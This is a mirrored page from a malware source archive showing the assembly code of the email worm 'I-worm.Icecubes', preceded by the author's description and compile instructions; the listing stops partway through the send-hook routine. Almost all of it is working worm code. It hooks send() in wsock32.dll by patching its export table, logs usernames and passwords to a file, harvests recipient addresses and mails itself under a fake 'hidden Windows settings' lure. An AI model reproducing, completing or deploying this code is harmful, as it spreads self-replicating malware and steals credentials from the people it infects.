13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/Win32/I-worm.Icecubes.asm
2020-10-09 22:25:52 -05:00

4983 lines
128 KiB
NASM
Raw Blame History

;****************************************************************************;
;----------------------------------------------------------------------------;
; I-worm.Icecubes v 1.05
; written by f0re
;----------------------------------------------------------------------------;
;============================================================================;
;
; ABOUT
; -----
;
; Welcome to the sourcecode of my first i-worm. I have given this worm its
; name, i-worm.Icecubes, because of two reasons. First of all, here where
; i live the summer is coming..and i like icecubes in my drinks :).
; Secondly it is because of the joke behind the worm host code; when a user
; receives the worm in his mailbox, the emailmessage looks like this:
;
; Subject: Fw: Windows Icecubes !
;
; ----- Original Message -----
;
; >Look at what I found on the web. This tool scans your system for hidden
; >Windows settings.
; >These settings, which are better known as the "Windows Icecubes", were
; >built in Windows by
; >the programmers at Microsoft and were supposed to be kept secret.
; >
; >Just take a look, cause I think you might want to make some changes ;).
; >
;
;
; EXECUTION
; ---------
;
; When the worm is executed it will first check whether it is being executed
; under win 95/98. If any other version of windows is found, it will skip the
; infection procedure and run the worm-host code immediately.
;
; If windows 95/98 is detected it will try to locate the wsock32.dll and copy it
; to wsock32.inf. It also copies itself to the windows system directory under
; the name wsock2.dll. Then it will add the worm code to the .inf file by
; increasing the size of the last section.
; Next the worm will point the send api address in the wsock32.inf export table
; to the virus code. Finally the worm drops a wininit.ini file in the windir
; to direct windows at the next reboot to overwrite the original wsock32.dll
; with the infected wsock32.inf.
;
; Then the worm will execute the worm host code; a progressbar followed by
; funny dialog (check it out for yourself :).
;
;
; SEND HOOK
; ---------
;
; Once the wsock32.dll api-hook-routine receives control it will scan the send
; buffer for usernames and or passwords. If these are found, they are stored in the
; file <windir>\icecube.txt. If an email is being sended, the worm will extract the
; recipient(s) emailaddress(es), the from emailaddres, the recipient(s) name(s)
; and the from-name. Next it will base64 encode the host-worm file (wsock2.dll) and
; prepare a new email with the encoded host attached. The body of the email contains
; the text as shown in the ABOUT section of this description. This new email will
; be send after the original email has been send (this is also known as the
; happy99 technique).
;
;
; THANKS
; ------
;
; I'd like to thank the following persons who helped me with my many
; questions: BlackJack, MrSandman, Spo0ky, Darkman, Benny, Prizzy,
; urgo32, Lifewire, dageshi and T-2000.
;
;
;****************************************************************************;
;
; To compile:
;
; tasm32 icecubes.asm /ml /m
; tlink32 -aa icecubes.obj import32.lib
;
; brcc32 icecubes.rc
; brc32.exe icecubes.res
;
;****************************************************************************;
.386
.model flat, stdcall
locals
jumps
extrn ExitProcess:PROC
extrn DialogBoxParamA:PROC
extrn GetModuleHandleA:PROC
extrn EndDialog:PROC
extrn GetWindowRect:PROC
extrn GetDesktopWindow:PROC
extrn MoveWindow:PROC
extrn CreateThread:PROC
extrn SendDlgItemMessageA:PROC
extrn SetDlgItemTextA:PROC
extrn CloseHandle:PROC
extrn GetDlgItemTextA:PROC
extrn GetModuleHandleA:PROC
extrn GetVersion:PROC
.data
Start:
xor ebp, ebp
CheckWindowsVersion:
call GetVersion
or eax, eax
jz ReturnToWormHost
MainRoutines:
pushad
call GET_GETPROCADDRESS_API_ADDRESS
call GET_WINDIR
call GET_SYSDIR
call INFECT_WSOCK
call COPY_HOST_FILE
popad
ReturnToWormHost:
jmp OriginalHost
;==============================[ includes ]==================================;
include windows.inc
include wsocks.inc
include myinc.inc
;=============================[ ic-data.inc ]===============================;
; get_gpa.inc data
kernel32address dd 0BFF70000h
numberofnames dd ?
addressoffunctions dd ?
addressofnames dd ?
addressofordinals dd ?
AONindex dd ?
AGetProcAddress db "GetProcAddress", 0
AGetProcAddressA dd 0
; directory.inc data
currentdir db 100h dup(0)
sysdir db 100h dup(0)
windir db 100h dup(0)
AGetSystemDirectory db "GetSystemDirectoryA",0
AGetWindowsDirectory db "GetWindowsDirectoryA",0
ASetCurrentDirectory db "SetCurrentDirectoryA",0
; infect_wsock.inc
wsock32dll db "Wsock32.dll",0
wsock32inf db "Wsock32.inf",0
ACopyFile db "CopyFileA",0
infectionflag db 0
AFindFirstFile db "FindFirstFileA",0
myfinddata WIN32_FIND_DATA <>
filesize dd 0
memory dd 0
ADeleteFile db "DeleteFileA",0
; infect_file.inc
ASetFileAttributes db "SetFileAttributesA",0
ACreateFile db "CreateFileA",0
ACreateFileMapping db "CreateFileMappingA",0
AMapViewOfFile db "MapViewOfFile",0
filehandle dd 0
maphandle dd 0
mapaddress dd 0
PEheader dd 0
imagebase dd 0
imagesize dd 0
wnewapiaddress dd 0
AUnmapViewOfFile db "UnmapViewOfFile",0
ACloseHandle db "CloseHandle",0
ASetFilePointer db "SetFilePointer",0
ASetEndOfFile db "SetEndOfFile",0
ASetFileTime db "SetFileTime",0
; hook_api.inc
woldapiaddress dd 0
; rva_to_raw.inc
rva2raw dd 0
; get_api.inc
user32address dd 0
wsock32address dd 0
; create_ini_file.inc
inifile db "wininit.ini",0
writtensize dw 0
inicrlf db 0dh,0ah,0
rename db "[rename]",13,10
slashsign db "\",0
equalsign db "=",0
writtenbytes dd 0
AWriteFile db "WriteFile",0
; ws_copy_host_file
AGetModuleFileName db "GetModuleFileNameA",0
; get_bases.inc
ALoadLibrary db "LoadLibraryA",0
k32 db "KERNEL32.dll",0
user32 db "USER32.dll",0
wsock32 db "WSOCK32.dll",0
; host_code.inc
dlgrect RECT <>
desktoprect RECT <>
dlgwidth dd 0
dlgheight dd 0
threadid dd 0
initflag dd 0
okflag dd 0
flag dd 0
pastvalue dd 0
currentvalue db '2',0
doneflag dd 0
value11 db "Days",0
value12 db "Weeks",0
value13 db "Months",0
value14 db "Years",0
value3 db "5000",0
value4 db "17",0
; ic.asm
hInst dd 0
; write_to_file.inc
passwordfile db "icecube.txt",0
; ws_intercept.inc
socketh dd 0
status db 0
AGlobalAlloc db "GlobalAlloc",0
fromaddress dd 0
fromsize dd 0
rcptnumber dd 0
rcpt_buffer_address dd 0
rcpt_size_address dd 0
totalrcptsize dd 0
fromtag db 'From:',0
totag db 'To:',0
mimeendtag db '>',0
mimefrom_address dd 0
mimefromsize dd 0
fromstatus db 0
tostatus db 0
toendtag db 'Subject:',0
mimetosize dd 0
mimeto_address dd 0
; ws_b64_encoder.inc
encTable db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'
db 'wxyz0123456789+/'
; ws_attachment
wsock2 db "Wsock2.dll",0
smHnd dd 0
dmHnd dd 0
bytesread dd 0
encodedsize dd 0
AReadFile db "ReadFile",0
AGetFileSize db "GetFileSize",0
; ws_send_mail
email_buffer_address dd 0
email_size dd 0
datatag db 'DATA',0dh,0ah
emailid db 'Message-ID: <a1234>',0dh,0ah
emailstart db 'Subject: Fw: Windows Icecubes !',0dh,0ah
db 'MIME-Version: 1.0',0dh,0ah
db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah
db 0dh,0ah,'--a1234',0dh,0ah
db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah
db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah
db 0dh,0ah
db '----- Original Message -----', 0dh,0ah
db 0dh,0ah
db '>Look at what I found on the web. This tool scans your system for hidden Windows settings.', 0dh, 0ah
db '>These settings, which are better known as the "Windows Icecubes", were built in Windows by', 0dh,0ah
db '>the programmers at Microsoft and were supposed to be kept secret. ',0dh,0ah
db '>',0dh,0ah
db '>Just take a look, cause I think you might want to make some changes ;).',0dh,0ah
db '>',0dh,0ah
db 0dh,0ah
db 0dh,0ah,'--a1234',0dh,0ah
db 'Content-Type: application/octet-stream; name="Icecubes.exe"'
db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah
db 'Content-Disposition: attachment; filename="Icecubes.exe"',0dh,0ah,0dh,0ah
emailend db 0dh,0ah
emailtail db 0dh,0ah,0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah
endtag db 0Dh,0Ah,2Eh,0Dh,0Ah
timedate SYSTEMTIME <>
AMessageBox db "MessageBoxA",0
AGetSystemTime db "GetSystemTime",0
msgmessage db "Windows detected icecubes on your harddrive.",10,13
db "This may cause the system to stop responding.",10,13
db "Do you want Windows to remove all icecubes ?",0
windowtitle db "I-worm.Icecubes / f0re",0
ASend db "send",0
ARecv db "recv",0
recvbuffer db 100h dup(0)
;============================[ ic-get_gpa.inc ]=============================;
GET_GETPROCADDRESS_API_ADDRESS proc
LoadExportTableData:
mov edi, [ebp + kernel32address] ; get exporttable
add edi, [edi + 3ch] ; address from
mov esi, [edi + 78h] ; kernel's PE header
add esi, [ebp + kernel32address]
mov eax, dword ptr [esi + 18h]
mov [ebp + numberofnames], eax ; save number of names
mov eax, dword ptr [esi + 1Ch] ; get ra of table with
add eax, [ebp + kernel32address] ; pointers to funtion
mov [ebp + addressoffunctions], eax ; addresses
mov eax, dword ptr [esi + 20h] ; get ra of table with
add eax, [ebp + kernel32address] ; pointers to names
mov [ebp + addressofnames], eax ; of functions
mov eax, dword ptr [esi + 24h] ; get ra of table with
add eax, [ebp + kernel32address] ; pointers to ordinals
mov [ebp + addressofordinals], eax ; of functions
BeginProcAddressSearch:
mov esi, [ebp + addressofnames] ; search for GetProc
mov [ebp + AONindex], esi ; Address API in names
mov edi, [esi] ; table
add edi, [ebp + kernel32address]
xor ecx, ecx
lea ebx, [ebp + AGetProcAddress]
TryAgain:
mov esi, ebx
MatchByte:
cmpsb
jne NextOne
cmp byte ptr [esi], 0 ; did the entire string
je GotIt ; match ?
jmp MatchByte
NextOne:
inc cx
add dword ptr [ebp + AONindex], 4 ; get next namepointer
mov esi, [ebp + AONindex] ; in table (4 dwords)
mov edi, [esi]
add edi, [ebp + kernel32address] ; align with kernelbase
jmp TryAgain
GotIt:
shl ecx, 1
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
add esi, ecx ; size of ordinal entry
xor eax, eax ; + ordinal table base
mov ax, word ptr [esi]
shl eax, 2 ; address of function =
mov esi, [ebp + addressoffunctions] ; ordinal * size of
add esi, eax ; entry of address
mov edi, dword ptr [esi] ; table + base of
add edi, [ebp + kernel32address] ; addresstable
mov [ebp + AGetProcAddressA], edi ; save GPA address
ret
GET_GETPROCADDRESS_API_ADDRESS endp
;===========================[ ic-get_bases.inc ]============================;
GET_WSOCK32_BASE_ADDRESS proc
LoadWsock32:
lea eax, [ebp + wsock32] ; not found, then
push eax ; load the dll
lea eax, [ebp + ALoadLibrary] ; first
call GETAPI
mov [ebp + wsock32address], eax
ret
GET_WSOCK32_BASE_ADDRESS endp
GET_USER32_BASE_ADDRESS proc
GetUser32Base:
lea eax, [ebp + user32]
push eax
lea eax, [ebp + ALoadLibrary]
call GETAPI
mov [ebp + user32address], eax
ret
GET_USER32_BASE_ADDRESS endp
;============================[ ic-get_api.inc ]=============================;
GETAPI proc
push eax
push dword ptr [ebp + kernel32address] ; load kernelbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax ; call the api
ret ; return
GETAPI endp
GETUAPI proc
push eax
push dword ptr [ebp + user32address] ; load wsockbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax
ret
GETUAPI endp
GETWAPI proc
push eax
push dword ptr [ebp + wsock32address] ; load wsockbase
call [ebp + AGetProcAddressA] ; and get api address
jmp eax
ret
GETWAPI endp
;==========================[ ic-directory.inc ]=============================;
GET_WINDIR proc
GetWindowsDir:
push 128h ; size of dirstring
lea eax, [ebp + windir] ; save it here
push eax
lea eax, [ebp + AGetWindowsDirectory] ; get windowsdir
call GETAPI
ret
GET_WINDIR endp
GET_SYSDIR proc
GetSystemDir:
push 128h ; size of dirstring
lea eax, [ebp + sysdir] ; save it here
push eax
lea eax, [ebp + AGetSystemDirectory] ; get system dir
call GETAPI
ret
GET_SYSDIR endp
SET_WINDIR proc
SetWindowsDir:
lea eax, [ebp + windir] ; change to sysdir
push eax
lea eax, [ebp + ASetCurrentDirectory]
call GETAPI
ret
SET_WINDIR endp
SET_SYSDIR proc
SetSystemDir:
lea eax, [ebp + sysdir] ; change to sysdir
push eax
lea eax, [ebp + ASetCurrentDirectory]
call GETAPI
ret
SET_SYSDIR endp
;=========================[ ic-infect_wsock.inc ]===========================;
INFECT_WSOCK proc
WsockSetSystemDirectory:
call SET_SYSDIR
CopyWSockFile:
push 00h
lea eax, [ebp + wsock32inf]
push eax
lea eax, [ebp + wsock32dll]
push eax
lea eax, [ebp + ACopyFile]
call GETAPI
SearchWsockFile:
mov [ebp + infectionflag], 00h
lea eax, [ebp + myfinddata] ; win32 finddata structure
push eax
lea eax, [ebp + wsock32inf] ; get wsock32.inf
push eax
lea eax, [ebp + AFindFirstFile] ; find the first file
call GETAPI
cmp eax, 0FFFFFFFh
je WsockEndSearch
GoInfectWsockInf:
mov ecx, [ebp + myfinddata.fd_nFileSizeLow] ; ecx = filesize
mov [ebp + filesize], ecx ; save the filesize
add ecx, Leap - Start + 1000h ; filesize + virus
mov [ebp + memory], ecx ; + workspace = memory
call INFECT_FILE
cmp [ebp + infectionflag], 01
je DeleteWsockFile
call CREATE_INI_FILE
jmp WsockEndSearch
DeleteWsockFile:
lea eax, [ebp + wsock32inf]
push eax
lea eax, [ebp + ADeleteFile]
call GETAPI
DeleteIniFile2:
call SET_WINDIR
lea eax, [ebp + inifile]
push eax
lea eax, [ebp + ADeleteFile]
call GETAPI
WsockEndSearch:
ret
INFECT_WSOCK endp
;=========================[ ic-infect_file.inc ]============================;
INFECT_FILE proc
SetAttributesToNormal:
push 80h
lea esi, [ebp + myfinddata.fd_cFileName] ; esi = filename
push esi
lea eax, [ebp + ASetFileAttributes]
call GETAPI
OpenFile:
push 0 ; template handle=0
push 20h ; attributes=any file
push 3 ; type= existing file
push 0 ; security option = 0
push 1 ; shared for read
push 80000000h or 40000000h ; generic read write
push esi ; offset file name
lea eax, [ebp + ACreateFile]
call GETAPI
cmp eax, 0FFFFFFFFh
je InfectionError
mov [ebp + filehandle], eax
;-------------------------------[ map file ]---------------------------------;
CreateFileMapping: ; allocates the memory
push 0 ; filename handle = 0
push dword ptr [ebp + memory] ; max size = memory
push 0 ; minumum size = 0
push 4 ; read / write access
push 0 ; sec. attrbs= default
push dword ptr [ebp + filehandle]
lea eax, [ebp + ACreateFileMapping]
call GETAPI ; eax = new map handle
mov [ebp + maphandle], eax
or eax, eax
jz CloseFile
MapViewOfFile:
push dword ptr [ebp + memory] ; memory to map
push 0 ; file offset
push 0 ; file offset
push 2 ; file map write mode
push eax ; file map handle
lea eax, [ebp + AMapViewOfFile] ; ok map the file
call GETAPI
or eax, eax
jz CloseMap
mov esi, eax ; esi= base of map
mov [ebp + mapaddress], esi ; save that base
DoSomeChecks:
cmp word ptr [esi], 'ZM' ; an exe file?
jne UnmapView
cmp word ptr [esi + 38h], 'll' ; already infected?
jne OkGo
mov [ebp + infectionflag], 1 ; set infectionflag
jmp UnmapView
OkGo:
mov ebx, dword ptr [esi + 3ch]
cmp ebx, 200h
ja UnmapView
add ebx, esi
cmp dword ptr [ebx], 'EP' ; is it a PE file ?
jne UnmapView
mov [ebp + PEheader], ebx ; save ra PE header
mov esi, ebx
mov eax, [esi + 34h]
mov [ebp + imagebase], eax ; save imagebase
;------------------------------[ append section ]----------------------------;
LocateBeginOfLastSection:
movzx ebx, word ptr [esi + 20d] ; optional header size
add ebx, 24d ; file header size
movzx eax, word ptr [esi + 6h] ; no of sections
dec eax ; (we want the last-1
mov ecx, 28h ; sectionheader)
mul ecx ; * header size
add esi, ebx ; esi = begin of last
add esi, eax ; section's header
ChangeLastSectionHeader:
or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h
NewAlignedPhysicalSize:
mov eax, dword ptr [esi + 10h] ; old phys size
push eax ; save it
add eax, Leap-Start
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 38h]
div ecx ; and align it to
inc eax ; the sectionalign
mul ecx
mov dword ptr [esi + 10h], eax ; save it
VirtualSizeCheck:
mov edi, dword ptr [esi + 8h] ; get old
cmp eax, edi ; virtualsize
jge NewVirtualSize
VirtualSizeIsVirtual:
add edi, Leap-Start
mov eax, edi
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 38h]
div ecx ; and align it to
inc eax ; the sectionalign
mul ecx
NewVirtualSize:
mov [esi + 8h], eax ; save new value
NewAlignedImageSize:
mov eax, dword ptr [esi + 0ch] ; get virtual offset
add eax, dword ptr [esi + 8h] ; + new virtual size
mov [ebp + imagesize], eax ; = new imagesize
NewAlignedFileSize:
mov eax, dword ptr [esi + 10h] ; get new phys size
add eax, dword ptr [esi + 14h] ; add offset of phys
mov ecx, [ebp + PEheader]
mov ecx, [ecx + 3ch]
div ecx ; and align it to
inc eax ; the filealign
mul ecx
mov [ebp + filesize], eax ; size = filesize
CalculateNewWsockApiAddress:
pop eax
push eax
add eax, dword ptr [esi + 0ch] ; + virtual offset
add eax, InterceptWsockApiCall - Start ; + ip
mov [ebp + wnewapiaddress], eax ; new api address
jmp HookDaApi
HookDaApi:
push esi
call HOOK_API
pop esi
CopyVirusToEndOfFile:
pop eax
mov edi, eax
add edi, [ebp + mapaddress] ; mapaddress
add edi, [esi + 14h] ; add raw data offset
lea esi, [ebp + Start] ; copy virus
mov ecx, (Leap-Start)/4 + 4
cld
rep movsd
UpdatePEHeaderWithChanges:
mov esi, [ebp + mapaddress]
mov word ptr [esi + 38h], 'll' ; set infectionmark
mov esi, [ebp + PEheader]
mov eax, [ebp + imagesize]
mov [esi + 50h], eax ; set new imagesize
;--------------------------------[ unmap file ]------------------------------;
UnmapView:
push dword ptr [ebp + mapaddress]
lea eax, [ebp + AUnmapViewOfFile]
call GETAPI
CloseMap:
push dword ptr [ebp + maphandle]
lea eax, [ebp + ACloseHandle]
call GETAPI
push 0
push 0
push dword ptr [ebp + filesize]
push dword ptr [ebp + filehandle]
lea eax, [ebp + ASetFilePointer]
call GETAPI
push dword ptr [ebp + filehandle]
lea eax, [ebp + ASetEndOfFile]
call GETAPI
;--------------------------------[ close file ]------------------------------;
CloseFile:
push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]
push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]
push dword ptr [ebp + myfinddata.fd_ftCreationTime]
push dword ptr [ebp + filehandle]
lea eax, [ebp + ASetFileTime]
call GETAPI
push [ebp + filehandle]
lea eax, [ebp + ACloseHandle]
call GETAPI
InfectionError:
push dword ptr [ebp + myfinddata.fd_dwFileAttributes]
lea eax, [ebp + myfinddata.fd_cFileName]
push eax
lea eax, [ebp + ASetFileAttributes]
call GETAPI
ret
INFECT_FILE endp
;===========================[ ic-hook_api.inc ]=============================;
HOOK_API proc
LoadWSockExportTableData:
mov edi, [ebp + PEheader]
mov esi, dword ptr [edi + 78h] ; rva export table
mov edx, esi ; get RVA
call RVA_TO_RAW
mov esi, ecx
mov eax, dword ptr [esi + 18h]
mov [ebp + numberofnames], eax ; save number of names
push esi
mov eax, dword ptr [esi + 1Ch] ; get ra of table with
mov edx, eax
call RVA_TO_RAW
mov eax, ecx ; pointers to funtion
mov [ebp + addressoffunctions], eax ; addresses
pop esi
push esi
mov eax, dword ptr [esi + 20h] ; get ra of table with
mov edx, eax
call RVA_TO_RAW
mov eax, ecx ; pointers to names
mov [ebp+addressofnames], eax ; of functions
pop esi
push esi
mov eax, dword ptr [esi + 24h] ; get ra of table with
mov edx, eax
call RVA_TO_RAW
mov eax, ecx ; pointers to ordinals
mov [ebp+addressofordinals], eax ; of functions
pop esi
BeginSendAddressSearch:
mov esi, [ebp + addressofnames] ; search for
mov [ebp + AONindex], esi ; API in names
mov edi, [esi] ; table
mov edx, edi
call RVA_TO_RAW
mov edi, ecx
xor ecx, ecx
HookSendApi:
lea ebx, [ebp + ASend]
OkTryAgain:
mov esi, ebx
MatchByteNow:
cmpsb
jne NextOneNow
cmp byte ptr [esi], 0 ; did the entire string
je YesGotIt ; match ?
jmp MatchByteNow
NextOneNow:
inc cx
add dword ptr [ebp + AONindex], 4 ; get next namepointer
mov esi, [ebp + AONindex] ; in table (4 dwords)
mov edi, [esi]
push ebx
push ecx
mov ebx, [ebp + mapaddress]
mov edx, edi
call RVA_TO_RAW
mov edi, ecx
pop ecx
pop ebx
jmp OkTryAgain
YesGotIt:
shl ecx, 1
mov esi, [ebp + addressofordinals] ; ordinal = nameindex *
add esi, ecx ; size of ordinal entry
xor eax, eax ; + ordinal table base
mov ax, word ptr [esi] ; offset of address
shl eax, 2 ; of function = ordinal
mov esi, [ebp + addressoffunctions] ; * size of entry of
add esi, eax ; address table
mov edi, dword ptr [esi] ; get address
SaveNewWsockApiAddress:
mov [ebp + woldapiaddress], edi ; save it
ChangeWsock:
mov eax, dword ptr [ebp + wnewapiaddress] ; new api address
mov dword ptr [esi], eax ; set it
ret
HOOK_API endp
;===========================[ ic-rva_to_raw.inc ]===========================;
RVA_TO_RAW proc
; In: edx - RVA to convert
; Out: ecx - Pointer to RAW data or NULL if error
GetRaw:
mov ebx, [ebp + mapaddress]
mov [ebp + rva2raw], edx
mov esi, dword ptr [ebx + 3ch]
add esi, ebx ; esi=offset peheader
xor ecx, ecx
mov cx, word ptr [esi + 06h] ; ecx = nr. of sections
xor edi, edi
mov di, word ptr [esi + 20d] ; optional header size
add esi, 24d ; file header size
add edi, esi
FindCorrespondingSection:
mov eax, dword ptr [ebp + rva2raw] ; rva we want into raw
mov edx, dword ptr [edi + 12d] ; section RVA
sub eax, edx
cmp eax, dword ptr [edi+08d] ; section size
jb SectionFound
NotThisSection:
add edi, 40d
loop FindCorrespondingSection
EndRawSearch:
ret
SectionFound:
mov ecx, dword ptr [edi+20d] ; pntr to section's raw
sub edx, ecx ; data from beginning
add ecx, eax ; of file
add ecx, ebx
ret
RVA_TO_RAW endp
;=========================[ ic-create_ini_file.inc ]========================;
CREATE_INI_FILE proc
IniGetSetWindowsDir:
call SET_WINDIR
CreateInstallIni:
push 0 ; template handle=0
push 20h ; attributes=any file
push 4 ; type= new file
push 0 ; security option = 0
push 1 ; shared for read
push 80000000h or 40000000h ; generic read write
lea eax, [ebp + inifile]
push eax ; offset file name
lea eax, [ebp + ACreateFile]
call GETAPI
mov [ebp + filehandle], eax
SetIniFilePointerToEnd:
push 02h
push 00h
push 00h
push [ebp + filehandle]
lea eax, [ebp + ASetFilePointer]
call GETAPI
mov dword ptr [ebp + writtensize], 00h
WriteInstallIniLoop:
lea esi, [ebp + inicrlf]
xor ecx, ecx
call StringSize
call Write
lea esi, [ebp + rename] ; write 'rename'
mov word ptr [ebp + writtensize], 0Ah
call Write
lea esi, [ebp + sysdir] ; write systemdir
xor ecx, ecx
call StringSize
call Write
lea esi, [ebp + slashsign] ; write slash
xor ecx, ecx
call StringSize
call Write
WriteWsock32Dll:
lea esi, [ebp + wsock32dll] ; write original dll
xor ecx, ecx
call StringSize
call Write
WriteOn:
lea esi, [ebp + equalsign] ; write original dll
xor ecx, ecx
call StringSize
call Write
lea esi, [ebp + sysdir] ; write systemdir
xor ecx, ecx
call StringSize
call Write
lea esi, [ebp + slashsign] ; write slash
xor ecx, ecx
call StringSize
call Write
WriteInfectedWsock:
lea esi, [ebp + wsock32inf] ; write original dll
xor ecx, ecx
call StringSize
call Write
jmp CloseInstallIni
StringSize:
cmp byte ptr [esi + ecx], 0h
je GotSize
inc ecx
jmp StringSize
GotSize:
mov word ptr [ebp + writtensize], cx
ret
Write:
push 0h
lea eax, [ebp + writtenbytes]
push eax
xor eax, eax
mov ax, word ptr [ebp + writtensize]
push eax
push esi
push dword ptr [ebp + filehandle]
lea eax, [ebp + AWriteFile]
call GETAPI
ret
CloseInstallIni:
lea esi, [ebp + inicrlf] ; write original dll
xor ecx, ecx
call StringSize
call Write
push dword ptr [ebp + filehandle]
lea eax, [ebp + ACloseHandle]
call GETAPI
ret
CREATE_INI_FILE endp
;=========================[ ic-copy_host_file.inc ]=========================;
COPY_HOST_FILE proc
GetCurrentHostPath:
push 100h
lea eax, [ebp + currentdir]
push eax
push 00h
lea eax, [ebp + AGetModuleFileName]
call GETAPI
SetSysDirectory:
call SET_SYSDIR
CopyWormHostFile:
push 00h
lea eax, [ebp + wsock2]
push eax
lea eax, [ebp + currentdir]
push eax
lea eax, [ebp + ACopyFile]
call GETAPI
ret
COPY_HOST_FILE endp
;=========================[ ic-ws_intercept.inc ]===========================;
INTERCEPT_WSOCK proc
InterceptWsockApiCall:
push ebp
call GetDelta
GetDelta:
pop ebp
sub ebp, offset GetDelta
pushad
CheckStatus:
mov eax, [esp+(8*4)+(1*4)+4 + 0] ; get send() socket
mov [ebp + socketh], eax ; save it
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
pushad
call GET_GETPROCADDRESS_API_ADDRESS
popad
CheckForSecurityInfo:
cmp [esi], 'RESU'
je StoreBufferData
cmp [esi], 'SSAP'
jne DontStore
StoreBufferData:
pushad
call WRITE_TO_FILE
popad
DontStore:
cmp [ebp + status], 00h ; monitoring==true ?
je CheckMailFrom ; yes, we are
cmp [ebp + status], 02h
je CheckRcptTo
cmp [ebp + status], 03h
je CheckMimeFrom
cmp [ebp + status], 05h
je CheckQuit
jmp Continue
CheckMailFrom:
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
cmp [esi], 'LIAM'
jne Continue
StoreMailFromTag:
pushad
call WRITE_TO_FILE
popad
SaveMailFrom:
mov [ebp + fromsize], ecx
push ecx
push esi
push ecx
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz ErrorWhileSending
pop esi
pop ecx
mov [ebp + fromaddress], eax
mov edi, eax
rep movsb
mov [ebp + status], 02h
CheckRcptTo:
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
cmp [esi], 'TPCR'
jne CheckData
AllocateRcptMemory:
cmp [ebp + rcptnumber], 00h
jne SaveRcptTo
push ecx
push esi
push 500h
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz ErrorWhileSending ; mem for rctp email
mov [ebp + rcpt_buffer_address], eax ; addresses
push 100h
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz ErrorWhileSending ; mem for size of rctp
mov [ebp + rcpt_size_address], eax ; email addresses
pop esi
pop ecx
SaveRcptTo:
push ecx ; store rcpt string
mov edi, [ebp + rcpt_buffer_address]
mov eax, [ebp + totalrcptsize]
add edi, eax
rep movsb
pop ecx
mov edi, [ebp + rcpt_size_address] ; store rcpt string size
mov eax, [ebp + rcptnumber]
mov edx, 04h
mul edx
add edi, eax
mov dword ptr [edi], ecx
mov eax, [ebp + totalrcptsize] ; calculate total size
add eax, ecx ; of rcpts
mov [ebp + totalrcptsize], eax
mov eax, [ebp + rcptnumber] ; calculate number of
add eax, 01h ; rcpt we have
mov [ebp + rcptnumber], eax
jmp Continue
CheckData:
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
cmp [esi], 'ATAD'
jne Continue
mov [ebp + status], 03h
CheckMimeFrom:
mov esi, [esp+(8*4)+(1*4)+4 + 4] ; send() buffer
mov ecx, [esp+(8*4)+(1*4)+4 + 8] ; size of buffer
MimeFromLoop:
lea edi, [ebp + fromtag]
push ecx
push esi
mov ecx, 05h
rep cmpsb
pop esi
pop ecx
je SearchMimeFromEnd
inc esi
loop MimeFromLoop
CheckMimeTo:
mov esi, [esp+(8*4)+(1*4)+4 + 4]
mov ecx, [esp+(8*4)+(1*4)+4 + 8]
MimeToLoop:
lea edi, [ebp + totag]
push ecx
push esi
mov ecx, 03h
rep cmpsb
pop esi
pop ecx
je SearchMimeToEnd
inc esi
loop MimeToLoop
jmp CheckQuit
SearchMimeFromEnd:
push esi
FromEndLoop:
lea edi, [ebp + mimeendtag]
push ecx
push esi
mov ecx, 01h
rep cmpsb
pop esi
pop ecx
je SaveMimeFrom
inc esi
loop FromEndLoop
pop esi
jmp Continue
SaveMimeFrom:
mov eax, esi
pop esi
sub eax, esi
mov ecx, eax
add ecx, 03h
mov [ebp + mimefromsize], ecx
push esi
push ecx
push ecx
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz MimeError
mov [ebp + mimefrom_address], eax
pop ecx
pop esi
mov edi, eax
rep movsb
mov [ebp + fromstatus], 01h
cmp [ebp + tostatus], 01h
jne CheckMimeTo
mov [ebp + status], 05h
jmp CheckQuit
SearchMimeToEnd:
push esi
ToEndLoop:
lea edi, [ebp + toendtag]
push ecx
push esi
mov ecx, 08h
rep cmpsb
pop esi
pop ecx
je SaveMimeTo
inc esi
loop ToEndLoop
pop esi
jmp Continue
SaveMimeTo:
mov eax, esi
pop esi
sub eax, esi
mov ecx, eax
mov [ebp + mimetosize], ecx
push esi
push ecx
push ecx
push 00h
lea eax, [ebp + AGlobalAlloc]
call GETAPI
or eax, eax
jz MimeError
mov [ebp + mimeto_address], eax
pop ecx
pop esi
mov edi, eax
rep movsb
mov [ebp + tostatus], 01h
cmp [ebp + fromstatus], 01h
jne CheckMimeFrom
mov [ebp + status], 05h
jmp CheckQuit
MimeError:
pop ecx
pop esi
mov [ebp + status], 05h
CheckQuit:
mov esi, [esp+(8*4)+(1*4)+4 + 4]
mov ecx, [esp+(8*4)+(1*4)+4 + 8]
cmp [esi], 'TIUQ'
jne Continue
pushad
call SEND_MAIL
popad
jmp InterceptionFinished
ErrorWhileSending:
pop esi
pop ecx
InterceptionFinished:
mov [ebp + status], 00h
mov [ebp + totalrcptsize], 00h
mov [ebp + rcptnumber], 00h
mov [ebp + tostatus], 00h
